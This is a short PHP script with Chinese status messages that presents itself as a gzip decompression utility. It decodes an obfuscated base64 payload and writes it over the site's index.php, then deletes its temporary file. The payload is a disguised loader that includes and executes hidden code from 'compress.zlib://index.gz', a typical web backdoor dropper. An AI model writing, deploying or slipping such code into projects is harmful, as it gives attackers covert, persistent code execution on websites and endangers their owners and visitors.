$compressed = gzencode(base64_decode("PD9waHANCiMgflRjVllGKOKYhi3vvZYtKWRmc2t+enUwRj4xX3p2Q0RmKFB5JEFbDQokeGNyZmhzPWZ1bmN0aW9uKCRwKXtpbmNsdWRlICRwO307DQokZXJkdHJ3PSdjb21wcmVzcy56bGliOi8vaW5kZXguZ3onOw0KJHhjcmZocygkZXJkdHJ3KTsNCj8+"), 3);file_put_contents("33730", $compressed);sleep(1);$gzFileName = "33730";$outputFileName = "index.php";
$gzFile = gzopen($gzFileName, 'rb');
if ($gzFile === false) {die('无法打开GZ文件');}
$outputFile = fopen($outputFileName, 'wb');
if ($outputFile === false) {gzclose($gzFile); die('无法创建输出文件');}
while (!gzeof($gzFile)) {
    $data = gzread($gzFile, 4096); 
    fwrite($outputFile, $data); 
}
gzclose($gzFile);
fclose($outputFile);
echo "解压完成，输出文件：{$outputFileName}";
@unlink("33730");